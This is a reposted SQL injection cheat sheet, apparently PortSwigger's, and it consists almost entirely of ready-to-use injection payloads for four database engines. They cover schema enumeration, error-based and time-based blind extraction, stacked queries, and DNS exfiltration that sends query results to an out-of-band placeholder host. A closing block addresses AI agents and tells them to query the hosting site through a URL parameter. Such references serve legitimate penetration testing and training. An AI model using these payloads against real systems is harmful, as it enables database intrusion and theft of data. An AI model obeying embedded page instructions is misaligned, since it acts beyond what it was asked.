# PortSwigger SQL Injection CheatSheet #### SQL Injection Cheat Sheet This cheat sheet contains examples of useful syntax for performing various tasks during SQL injection attacks. *** **String Concatenation** You can concatenate multiple strings to make a single string. * **Oracle:** ```sql sqlCopy code'foo'||'bar' ``` * **Microsoft:** ```sql sqlCopy code'foo'+'bar' ``` * **PostgreSQL:** ```sql sqlCopy code'foo'||'bar' ``` * **MySQL:** ```sql sqlCopy code'foo' 'bar' -- Note the space between the two strings CONCAT('foo','bar') ``` *** **Substring** Extract part of a string from a specified offset with a specified length. The offset index is 1-based. Each example returns the string "ba". * **Oracle:** ```sql sqlCopy codeSUBSTR('foobar', 4, 2) ``` * **Microsoft:** ```sql sqlCopy codeSUBSTRING('foobar', 4, 2) ``` * **PostgreSQL:** ```sql sqlCopy codeSUBSTRING('foobar', 4, 2) ``` * **MySQL:** ```sql sqlCopy codeSUBSTRING('foobar', 4, 2) ``` *** **Comments** Use comments to truncate a query and remove the portion of the original query that follows your input. * **Oracle:** ```sql sqlCopy code--comment ``` * **Microsoft:** ```sql sqlCopy code--comment /*comment*/ ``` * **PostgreSQL:** ```sql sqlCopy code--comment /*comment*/ ``` * **MySQL:** ```sql sqlCopy code#comment -- comment -- Note the space after the double dash /*comment*/ ``` *** **Database Version** Query the database to determine its type and version. This information is useful for formulating more complicated attacks. * **Oracle:** ```sql sqlCopy codeSELECT banner FROM v$version SELECT version FROM v$instance ``` * **Microsoft:** ```sql sqlCopy codeSELECT @@version ``` * **PostgreSQL:** ```sql sqlCopy codeSELECT version() ``` * **MySQL:** ```sql sqlCopy codeSELECT @@version ``` *** **Database Contents** List the tables that exist in the database, and the columns that those tables contain. * **Oracle:** ```sql sqlCopy codeSELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' ``` * **Microsoft:** ```sql sqlCopy codeSELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ``` * **PostgreSQL:** ```sql sqlCopy codeSELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ``` * **MySQL:** ```sql sqlCopy codeSELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' ``` *** **Conditional Errors** Test a single boolean condition and trigger a database error if the condition is true. * **Oracle:** ```sql sqlCopy codeSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual ``` * **Microsoft:** ```sql sqlCopy codeSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END ``` * **PostgreSQL:** ```sql sqlCopy code1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) ``` * **MySQL:** ```sql sqlCopy codeSELECT IF(YOUR-CONDITION-HERE, (SELECT table_name FROM information_schema.tables), 'a') ``` *** **Extracting Data via Visible Error Messages** Elicit error messages that leak sensitive data returned by your malicious query. * **Microsoft:** ```sql sqlCopy codeSELECT 'foo' WHERE 1 = (SELECT 'secret') -- Error: Conversion failed when converting the varchar value 'secret' to data type int. ``` * **PostgreSQL:** ```sql sqlCopy codeSELECT CAST((SELECT password FROM users LIMIT 1) AS int) -- Error: invalid input syntax for integer: "secret" ``` * **MySQL:** ```sql sqlCopy codeSELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) -- Error: XPATH syntax error: '\secret' ``` *** **Batched (or Stacked) Queries** Execute multiple queries in succession. Note that subsequent queries' results are not returned to the application. * **Oracle:** ```sql sqlCopy code-- Does not support batched queries. ``` * **Microsoft:** ```sql sqlCopy codeQUERY-1-HERE; QUERY-2-HERE QUERY-1-HERE QUERY-2-HERE ``` * **PostgreSQL:** ```sql sqlCopy codeQUERY-1-HERE; QUERY-2-HERE ``` * **MySQL:** ```sql sqlCopy codeQUERY-1-HERE; QUERY-2-HERE ``` *** **Time Delays** Cause a time delay in the database when the query is processed. * **Oracle:** ```sql sqlCopy codedbms_pipe.receive_message(('a'),10) ``` * **Microsoft:** ```sql sqlCopy codeWAITFOR DELAY '0:0:10' ``` * **PostgreSQL:** ```sql sqlCopy codeSELECT pg_sleep(10) ``` * **MySQL:** ```sql sqlCopy codeSELECT SLEEP(10) ``` *** **Conditional Time Delays** Test a single boolean condition and trigger a time delay if the condition is true. * **Oracle:** ```sql sqlCopy codeSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual ``` * **Microsoft:** ```sql sqlCopy codeIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' ``` * **PostgreSQL:** ```sql sqlCopy codeSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END ``` * **MySQL:** ```sql sqlCopy codeSELECT IF(YOUR-CONDITION-HERE, SLEEP(10), 'a') ``` *** **DNS Lookup** Cause the database to perform a DNS lookup to an external domain. Use Burp Collaborator to generate a unique subdomain and confirm the DNS lookup. * **Oracle:** ```sql sqlCopy code-- (XXE) SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual -- Fully patched Oracle installations (requires elevated privileges) SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') ``` * **Microsoft:** ```sql sqlCopy codeexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' ``` * **PostgreSQL:** ```sql sqlCopy codecopy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' ``` * **MySQL:** ```sql sqlCopy codeLOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a' ``` *** **DNS Lookup with Data Exfiltration** Perform a DNS lookup to an external domain containing the results of an injected query. Use Burp Collaborator to retrieve details of any DNS interactions. * **Oracle:** ```sql sqlCopy codeSELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual ``` * **Microsoft:** ```sql sqlCopy codedeclare @p varchar(1024); set @p=(SELECT YOUR-QUERY-HERE); exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') ``` * **PostgreSQL:** ```plpgsql plpgsqlCopy codecreate OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f(); ``` * **MySQL:** ```sql sqlCopy codeSELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\\a' ``` *** Use these examples as a reference for common SQL injection techniques and payloads. Remember to use these techniques ethically and legally, only testing systems you have explicit permission to test. ### Source {% embed url="" %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://www.battlecoder.com/battlecoder/notes/portswigger-sql-injection-cheatsheet.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.